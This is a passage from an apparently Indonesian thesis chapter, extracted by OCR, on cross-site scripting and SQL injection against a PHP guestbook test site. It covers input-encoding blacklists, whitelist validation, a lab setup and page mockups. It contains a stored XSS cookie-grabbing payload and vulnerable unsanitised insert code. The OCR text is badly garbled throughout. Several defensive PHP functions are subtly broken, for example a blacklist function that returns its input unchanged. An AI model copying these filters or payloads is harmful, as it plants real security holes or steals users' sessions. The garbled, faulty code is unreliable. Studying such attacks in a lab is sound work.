(NULL,'$nama’,'Salamat’,'$pesan’)");

23. if($masuk) {

24, echo "<p><b>pesan berhasil disimpan!</b></p>";

25. }

26. else echo "<p><b>pesan gagal disimpan</b></p>";

Gambar 3.2%ksekusi Kode Cross Ste Scripting

Pada gambar 3.25 tine 10-12, kode dimasukkan oleltacker sehingga
contoh.php menyimpan kodersebut ke database layaknya selupbtan biasa.
Dengan dijalankannya kodmi, maka attacker dapat menyisipkan kod&in
dengan fungsi-fungsi tertentu yang dapat membal@yawebsite hingga
pengguna aplikasi.

Dalam penangan ancam&moss Ste Scripting, salah satu metode yang
digunakan adalahinput Encoding. Namun, metode ini masih mempunyai
kekurangan apabila tidak disertakan dengan metade Berikut ini adalah

analisis dari metodeput Encoding.
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3.1.4.6Metode Input Encoding

Salah satu metode dalam mengurangi anca&®nass Ste Scripting adalah
dengan menggunakdnput Encoding. Metode ini mengncode masukan tertentu
yang dianggap bahaya menjadi masukan yang tidakabaya bagi sistem.
Penggunaan metode ini dengan memilih satu per lsatakter yang dianggap
bahaya kemudian menggantinya dengan karakter bidskurangan dalam
metode ini adalah bentuk karakter yang berbahaygasabanyak, dan tidak
semuaweb developer mengetahui karakter tersebut. Penggunaan mdigule
Encoding dapat dilihat pada gambar berikut:[9]

Tabel 3.4Blacklist Karakter

Id Input Output

1 <script> <skrip>

2 alert peringatan
3

4 } a

5 { b

6 = c

7 & d

Apabila terdapat masukan berupa “script” maka sistgomatis akan
mengganti masukan tersebut menjadi “skrip”, ataabd@ terdapat masukan
berupa “=" maka sistem otomatis akan mengganti Reastersebut menjadi “c”,
begitu seterusnya. Kelemahan dari metode ini adaleh developer harus

mendefinisikan satu per satu karakter/kata yangdtensi dapat membahayakan
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sistem, selain itu tidak semuweeb developer mengetahui bentuk karakter yang
dapat membahayakan sistem yang dibuat.
Gambar 3.26 berikut ini adalah funddiacklist yang digunakan untuk

menggantikan karakter yang dianggap bahaya bagnsis

<?php

function blacklist($komen) {

$pilih=mysql_query("select * from blacklist");

while($ambil=mysql_fetch_array($pilih)) {
$komens=str_ireplace($ambil[1],$ambil[2],$komen);

} return $komen;

}

?>

Gambar 3.26~ungsi Blacklist Karakter

Gambar 3.27 berikut ini merupakan proses penggak#eakter.
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Buku Tamu

Nama*

Guest

digdo.com

<script>alert(document.cookie); </script>

pesan

haloooo ini buku tamu lohh

i00.com ini adalah formulir buku tamu yang memuat
komentar.

and | remember almost crazy we think
summer after high school when we first met

<h1>halo admin</h1>

<skrip>peringatan(document.cookie), </skrip>

L

Buku Tamu
‘Guest mengatakan:

‘peringatan(document.cookie);"

Cnact monaatakan:

Gambar 3.2 Proses Penggantian Karakter
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3.1.5 Analisis Metode Pertahanan
Validating Input adalah proses pengujian masukan yang diterima oleh
aplikasi terhadap standar yang telah didefinisilkata dua jenis pendekatan yang

bisa digunakan yaitWhitelist Validation danBlacklist Validation.

3.1.5.1Whitelist Validation
Whitelist Validation biasa disebut juga deng®ositive Validation adalah
metode yang hanya menerima masukan yang tidak lieradagi sistem. Hal ini
dapat melibatkan validasi sesuai dengan panjamgs jgang diharapkan atau
ukuran, rentang numerik, atau standar format leinekim menerima masukan
untuk diproses lebih lanjut. Berikut ini merupakaertimbangan untuk
penggunaan metod&hitelist Validation:[2][4][9]
1. Data Type
Tipe data dalamWhitelist Validation harus sesuai dengan yang
diharapkanData Type digunakan untuk mengecek jenis data. Apakah
jenis data sudah benar atau tidak, jika nilai ysglgarusnya numerik,
apakah numerik atau tidak. Berikut ini adalah furygsig dibuat untuk

Data Type.

/lfungsi pengecekan Data Type

function checkint($number) {
$check=(int)$number;
return $check;

Gambar 3.2%ungsi Data Type
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2. DataSze
Data Sze digunakan untuk mengecek ukuran data. Jika dati@lada
string, apakah panjang string tersebut sesuaitataki Apabila berupa
angka, apakah angka tersebut terlalu besar damaokyang telah
ditentukan atau tidak. Berikut ini adalah fungsagalibuat untulData

Sze.

/[fungsi pengecekan Data Size
if(ffunction_exists("panjang")) {
function panjang($char) {
$checkz = null;
$tes=strlen($char);
if($tes>4)
$checkz=header('location:./");
return $checkz;
}
}

Gambar 3.2%ungsi Data Sze

3. Data Range
Data Range digunakan untuk mengecek rentang data. Rentang data
tidak boleh melebihi dari batas rentang yang teliédntukan. Berikut

ini adalah fungsi yang dibuat untdlata Range.

/lfungsi pengecekan Data Range

function checkrange($number) {
$checkr=range(1,999999);
return $checkr;

Gambar 3.36-ungsi Data Range
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4. Data Content
Isi data harus ditentukan. Apakah data yang dinlesukesuai dengan
aturan yang telah ditentukan atau tidak. Misalymkah data tersebut
memenuhi ketentuan dari sebuah kode pos, atau lapkka itu hanya
berisi karakter biasa saja. Metode umum dalam knkin validasi
konten adalah dengan menggunak@sgular Expresson (RegEx).

Berikut ini adalah fungsi yang dibuat untDiata Content.

/[fungsi preg_match

function cek_params($id)

{

if(preg_match(‘\s/", $id))
exit(‘attack’); // no whitespaces

if(preg_match('/[\"]/", $id))
exit(‘attack’); // no quotes

if(preg_match(/[V\\)/', $id))
exit(‘attack’); // no slashes

}

Gambar 3.3Fungs Data Content

3.1.5.2Blacklist Validation

Blacklist Validation biasa disebut juga dengalegative Validation adalah
metode yang menolak masukan yang berbahaya bagmsifada umumnya
metode ini melibatkan masukan yang mengandung teraktau pola yang
dianggap bisa membahayakan sistem.

Pendekatan ini umumnya lebih lemah défitelist Validation karena
karakter atau pola yang berpotensi membahayakaensisangat banyak, dan
karakter tersebut kemungkinan akan selalu bertamtiddik lengkap, dan sulit

untuk selalu diperbaharui.
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Metode umum dalam menerapkBracklist Validation juga menggunakan
Regular Expression, yang menyimpan karakter yang dapat membahayagi@ms
seperti contoh berikut:

%] [N _N[|@]xp_

Secara umumyVhitelist Validation mempunyai kelebihan daBlacklist
Validation. Ketika ada set karakter besar yang akan digundidam aplikasi,
misalnya bahasa Cina dan Jepang, maka me3tabilist Validation akan sulit
diterapkan karena terdapat input data yang komptiks input data tersebut tidak
dapat ditentukan dengan mudah. Dalam kasu®Mmielist VValidation merupakan
metode yang paling tepat untuk digunakan. Selain tambahkan fungsi
pengontrol lain seperti pengkodean output untuk asikan bahwa informasi

yang akan dikirimkan ke database dapat dilakukagae benar.

3.1.5.3Validating Input PHP

Dalam kode PHP, memiliki beberapa fungsi yang ddjgatnakan sebagai
validasi terhadap inputan. Beberapa fungsi tersathaiah:

preg_match (regex, $string)Mencocokkan pola inputan menggunakan

Regular Expression terhadap variabdstring.

/[fungsi preg_match

function cek_params($id)

{

if(preg_match('\s/', $id))
exit(‘attack’); // no whitespaces

if(preg_match('/[\"]/", $id))
exit(‘attack’); // no quotes

if(preg_match('/[V\W)/', $id))
exit(‘attack’); // no slashes

}

Gambar 3.3Fungsi preg_match
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is_ <jenis> (input) Memeriksa apakah input adalah sesuai dengan

jenisnya. Misalnya, is_numeric ().

/lfungsi pengecekan Data Size
if("function_exists("panjang")) {
function panjang($char) {
$checkz = null;
$tes=strlen($char);
if($tes>4)
$checkz=header('location:./");
return $checkz;
}
}

Gambar 3.3%ungsi is_numeric

strlen (input) Memeriksa panjang input.

/[fungsi pengecekan Data Type
function checkpanjang($string) {
$check=strlen($string);
if($check>4) {
header(‘location:./’);

return $check;

Gambar 3.34ungs strlen
htmlentities() Mengkonversi karakter-karakter tertentu dalamHagvL,

hasil fungsi ini akan menerjemahkan tag-tag HTMhaggi teks biasa.

/lfungsi pengecekan Data Type

function checkhtml($string) {
$check=htmlentities($string);
return $check;

Gambar 3.3%ungs htmlentities

strip_tags() Menghilangkan tag-tag HTML dan PHP dalam sebuahgstr

/lfungsi pengecekan Data Type

function checktag($string) {
$check=strip_tags($string);
return $check;

Gambar 3.36-ungs strip_tags
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trim() Menghapus spasi di kanan dan kiri teks.

//fungsi pengecekan Data Type
function checkspasi($string) {
$check=trim($string);

return $check;

Gambar 3.3 Fungsi trim

3.1.6 Kebutuhan Pendukung Infrastruktur

Kebutuhan akan infrastruktur terbagi menjadi dugang yaitu perangkat

keras dan perangkat lunak, yang keduanya salingloke@ng satu sama lain.

3.1.6.1Kebutuhan Perangkat Keras

Kebutuhan hardware terdiri dari beberapa perangkets meliputi PC

sebagai server, PC sebagaacker, dan modem.

a. PC Server

Komputer server menyediakan layanan-layanan yaran akakses

oleh client, sepertiweb server dan file server. Adapun spesifikasinya

adalah sebagai berikut:

Tabel 3.5%pesifikas Perangkat Keras Server

No Komponen Keterangan

1 | Processor Intel(R) Xeon(R) CH
E31245 @ 3.30GHz

2 | Memori 1GB

3 | Harddisk 40GB

4 | Operating System CentOS 5

U
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b. PC Attacker
Komputer attacker digunakan untuk menyerang aplikasi web yang
terdapat pada komputer server.

Tabel 3.65pesifikas Perangkat Keras Attacker

No Komponen Keterangan

1 | Processor Intel Core i3

2 | Memori 3GB

3 | Harddisk 500GB

4 | Operating System Backtrack 5 / Windows 7

3.1.6.2Kebutuhan Perangkat Lunak
Software yang digunakan meliputi Kloxo, SSH (Sec&teell), VNC
(Virtual Network Computing), dan FileZilla.
a. Kloxo
Kloxo adalah sebuah kontrol panel ringan berbasensource. Kloxo
memiliki semua fitur yang disertakan dalam semuaepdontrol
terkemuka seperti mail, spam filter, PHP, CGI, Pstdexec, FTP,
MySQL dan lain-lain.
b. SSH
Secure Shell atau SSH adalah protokol jaringan yaemungkinkan
pertukaran data melalui saluran aman antara dusnglat jaringan.
Terutama banyak digunakan pada sistem berbasisx Laan Unix
untuk mengakses akun shell, SSH dirancang sebagggpnti Telnet

dan shell remote tak aman lainnya, yang mengiriorinasi, terutama
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kata sandi, dalam bentuk teks sederhana yang ménmyauanudah
untuk dicegat. Enkripsi yang digunakan oleh SSH yedrakan
kerahasiaan dan integritas data melalui jaringangyddak aman
seperti Internet.

SSH menggunakan kriptografi kunci publik untuk metegtikasi
komputerremote dan biarkan komputeemote untuk mengotentikasi
pengguna, jika perlu. SSH biasanya digunakan ultgik ke mesin
remote dan mengeksekusi berbagai perintah, tetapi jugadoieing
tunneling, forwarding TCP port dan X11 connections; itu dapat
mentransfer file menggunakan terkait SFTP atau S®@Bcols. SSH
menggunakan klien-server model. Yang standar TCi® 2@ telah
ditetapkan untuk menghubungi server SSH. Sebuan Kirogram
SSH ini biasanya digunakan untuk membangun konkksiSSH
daemon untuk dapat diremote. Keduanya biasanysapatdpada
sistem operasi modern, termasuk Mac OS X, LinugeBED, Solaris
dan OpenVMS. Tersedia versi berpemilik, freeware dpen source

untuk berbagai tingkat kerumitan dan kelengkapan.

. VNC

VNC adalah sebuakool remote control. Tool ini digunakan untuk
melakukan remote desktop yang biasa digunakan platfarm Linux
atau Windows. Melaui VNC seseorang dapat mengosgpler atau

komputer dari jarak jauh.
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d. Filezilla

FileZilla atau juga dikenal dengan sebutan Fil@ZiClient, adalah

salah satu softwarkile Transfer Protocol (FTP) gratis, open source,

cross-platform. Software ini mendukung FTP, SFTP, dan FTPS (FTP

di SSL/TLS). Fitur utama dari Filezilla adalah :

1)

2)

3)

4)

Site  manager (Manajer situs). Mengizinkan penggumuk
membuat daftar situs FTP beserta data koneksimysers nomor
port yang akan digunakan, protokol yang digunakiam apakah
akan menggunakan log anonim atau normal. Untukniognal,
nama pengguna dan kata sandinya tersebut akan pdisim
Penyimpanan kata sandi adalah opsional.

Message log (Log pesan). Ditampilkan di bagian ggadela. Fitur
ini menampilkan output berjenis konsol (consoleelypyang
menunjukkan perintah yang dikirim oleh FileZillandigespon yang
diterima dari server.

File and folder view. Ditampilkan di bawah pesag Id/lessage
log), menyediakan sebuah tampilan grafis antarmukak FTP.
Pengguna dapat menavigasi folder dan melihat dangubah
isinya pada komputer lokal dan server dengan mearaj@n
tampilan antarmuka gaya Explorer. Pengguna dapatdregy dan
drop file antara komputer lokal dan server.

Transfer queue (Transfer antrian). Ditampilkanegianjang bagian
bawah jendela, menunjukkan status real-time seti#pan atau

transfer file yang aktif.
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3.2 Perancangan Sistem
Pada perancangan sistem akan dibahas mengenaicgegan sistem
simulasi ancaman, yang meliputi perancangan atsitekimulasi terhadap

aplikasi web.

3.2.1 Arsitektur Simulasi
Perancangan jaringan yang akan digunakan terdifi stdouah komputer
sebagai server, dan komputettacker dengan bentuk topologi seperti yang

ditunjukan pada gambar 3.38:

Attacker ) Internet Server

Gambar 3.3&onfiguras Jaringan pada Smulas

Komputer server yang berfungsi sebagai infrastiulikkomunikasi yang
mempunyai mekanisme protokol komunikasi data HTTéhgdn IP Address
176.9.216.223. Pada komputer ini menyediakan aglikeeb berupa portal
informasi.

Pada komputeattacker terkoneksi dengan internet menggunakan modem
HSDPA dengan kecepatan akses maksimal 256 KBpsndadapatkan IP Publik
dinamis (114.7x.X.X).

Skenario yang akan dilakukan yaitttacker yang terkoneksi dengan
internet akan mengakses layanan pada server yaliual portal informasi,

kemudianattacker menginjeksikan kode tertentu pada aplikasi web ggenakan
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metode QL Injection dan Cross Ste Scripting sehingga menyebabkan aplikasi

web terganggu.

3.2.2 Perancangan Antarmuka Target Simulasi

Berdasarkan hasil analisis yang telah diuraikarkamaerikut ini adalah

perancangan antarmuka target simulasi.

3.2.2.1Menu

Urutan menu-menu yang akan dirancang dalam bentwktGr Menu.

Berikut adalah struktur menu yang dirancang.

Awal

Y

'

Y

Tentang

Disclaimer

Buku Tamu

Kontak

Logout

Lounge

Kesehatan

A
A

Salns

Tahukah Kamu
-

Teknologi

Unik

Gambar 3.3%truktur Menu Website
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3.2.2.2Antarmuka
Tahap perancangan antarmuka dilakukan untuk mengrax@armuka dari

sistem.

a. Halaman Indeks

Halaman indeks adalah halaman pertama dari weipddemasimu.com.
Halaman ini terdiri dari menu-menu, antara lain Awdentang,
Disclaimer, Buku Tamu, Kontak, Logout, Lounge, Saimeknologi,
Kesehatan, Tahukah Kamu, Unik. Selain terdapat nteraias, halaman
indeks ini selalu menampilkan berita terbaru. Halanmdeks dapat dilihat

pada Gambar 3.40.

LOGO lklani

Menu: [Awal|Tentang|Disclaimer| Buku Tamu|Kontak|Logout]

Kategorl: [Lounge|Sains|Teknalogi|Kesehatan Tahukah Kamu|Unik] IKlan2

Isi Artikel Terbaru
Daftar Artikel Terbaru

Menu: [Awal|Tentang|Disclaimer|Buku Tamu|Kontak] ‘

Gambar 3.4MHalaman Indeks
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b. Halaman Tentang
Halaman ini menjelaskan tentang website informasiora. Halaman

Tentang dapat dilihat pada Gambar 3.41.

LOGO Iklan1

Menu: [Awal| Tentang|Disclaimer| Buku Tamu|Kontak|Logout]

Kategari: [L  Teknalagi| Tahukah Karmu|Unik] IklanZ2

Isi Halaman Tentang
Daftar Artikel Terbaru

Menu: [Awal|Tentang|Disclaimer|Buku Tamu|Kontak] |

Gambar 3.4Halaman Tentang

c. Halaman Disclaimer
Halaman ini menjelaskan tentang penyalahgunaarkehrtiHalaman

Disclaimer dapat dilihat pada Gambar 3.42.

LOGO Iklar1

Menu: [Awal|Tentang|Disclaimer| Buku Tamu|Kontak|Logout]

Kategor: [L |Sains|Teknalagilk ' [Tahukah Karmu|Unik] Iklan2

Isi Halaman Disclaimer
Daftar Arfikel Terbaru

Menu; [Awal|Tentang|Disclaimer|Buku Tamu|Kontak] |

Gambar 3.4MHalaman Disclaimer
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d. Halaman Buku Tamu
Halaman ini digunakan untuk mengirimkan pesan ofEmngunjung.

Halaman Buku Tamu dapat dilihat pada Gambar 3.43.

LOGO Iklant

Menu: [Awal|Tentang|Disclaimerd Buku Tamu|Kontak|Logout]

Kategorl: [Lounge|Sains|TeknologilKesehatan|Tahukah Kamu|Unik] IklanZ

Isi Halaman Buku Tamu
Daftar Artikel Terbaru

Menu: [Awal| Tentang|Disclaimer|Buku Tamu|Kontak] |

Gambar 3.43alaman Buku Tamu

e. Halaman Kontak
Halaman ini digunakan untuk menampilkan informasiontek

informasimu.com. Halaman Kontak dapat dilihat p&aanbar 3.44.

LOGO Iklant

Menu: [Awal|Tentang|Disclaimer| Buku Tamu|Kontak|Logoul]

Kategori: [L |Sains|Teknologilk t |Tahukah Kamu|Unik] Iklan2

Isi Halaman Kontak
Daftar Artikel Terbaru

Menu; [Awal| Tentang|Disclaimer|Buku Tamu|Kontak] |

Gambar 3.44alaman Kontak
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f. Halaman Lounge
Halaman ini digunakan untuk menampilkan berita sedangan kategori

Lounge. Halaman Lounge dapat dilihat pada Gamldar. 3.

LOGO Iklani

Menu: [Awal|Tentang|Disclaimer| Buku Tamu|Kontak|Logout]

Kategori: [Lounge|Sains|Teknologi|Kesehatan|Tahukah Kamu|Unik] Iklan2

Isi Halaman Lounge
Daftar Artikel Terbaru

Menu; [Awal| Tentang|Disclaimer|Buku Tamu|Kontak] |

Gambar 3.4%lalaman Lounge

g. Halaman Sains
Halaman ini digunakan untuk menampilkan berita sedangan kategori

Sains. Halaman Sains dapat dilihat pada Gambar 3.46

LOGO Iklani

Menu: [Awal|Tentang|Disclaimes| Buku Tamu|Kontak|Logout]

Kategori: [L |Sains|Teknologilk t |Tahukah Kamu|Unik] Iklan2

Isi Halaman Sains
Daftar Artikel Terbaru

Menu; [Awal|Tentang|Disclaimer|Buku Tamu|Kontak] |

Gambar 3.46dalaman Sains
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h. Halaman Teknologi
Halaman ini digunakan untuk menampilkan berita sedangan kategori

Teknologi. Halaman Teknologi dapat dilihat pada Gan8.47.

LOGO Ikland

Menu: [Awal Tentang|Disclaimer| Buku Tamu|Kontak|Logout]

Kategori: [Lounge|Sains|TeknologilKesehatan|Tahukah Kamu|Unik] Iklan2

|si Halaman Teknologi
Daftar Artikel Terbaru

Menu: [Awal|Tentang|Disclaimer|Buku Tamu|Kontak] |

Gambar 3.4 Halaman Teknol ogi

i. Halaman Kesehatan
Halaman ini digunakan untuk menampilkan berita asedangan kategori

Kesehatan. Halaman Kesehatan dapat dilihat padd&&a3m8.

LOGO Iklan1

Manw: [Awal|Tentang|Disclaimer Buku Tamu|Kantak|Logout]

Kategori: [Lounge|Sains|TeknologilKesehatan|Tahukah Kamu|Unik] Iklan2

Isi Halaman Kesehatan
Dattar Artikel Terbaru

Menu: [Awal|Tentang|Disclaimer [Bukw Tamu|Kontak] ‘

Gambar 3.48alaman Kesehatan
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j.  Halaman Tahukah Kamu
Halaman ini digunakan untuk menampilkan berita sedangan kategori

Tahukah Kamu. Halaman Tahukah Kamu dapat dilihda izambar 3.49.

LOGO Iklan1

Menu: [Awal| Tentang|Disclaimer|Buku Tamu|Kontak|Logout]

Kategori: [Lounge|Sains|TeknologilKesehatan|Tahukah Kamu| Unik] Iklan2

Isi Halaman Tahukah Kamu
Daftar Artikel Terbaru

Menu; [Awal| Tentang|Disclaimer|Buku Tamu|Kontak] |

Gambar 3.4%Halaman Tahukah Kamu

k. Halaman Unik
Halaman ini digunakan untuk menampilkan berita asedangan kategori

Unik. Halaman Unik dapat dilihat pada Gambar 3.50.

LOGO Iklan1

Menu: [Awal|Tentang|Disclaimer|Buku Tamu|Kantak|Logout]

Kategori: [ [Sains|TeknologiKasehatan Tahukah Kame| Unik] Kianz

Isi Halaman Unik
Daftar Artikel Terbaru

Menu: [Awal|Tentang|Disclaimer|Buku Tamu|kontak] |

Gambar 3.5Halaman Unik
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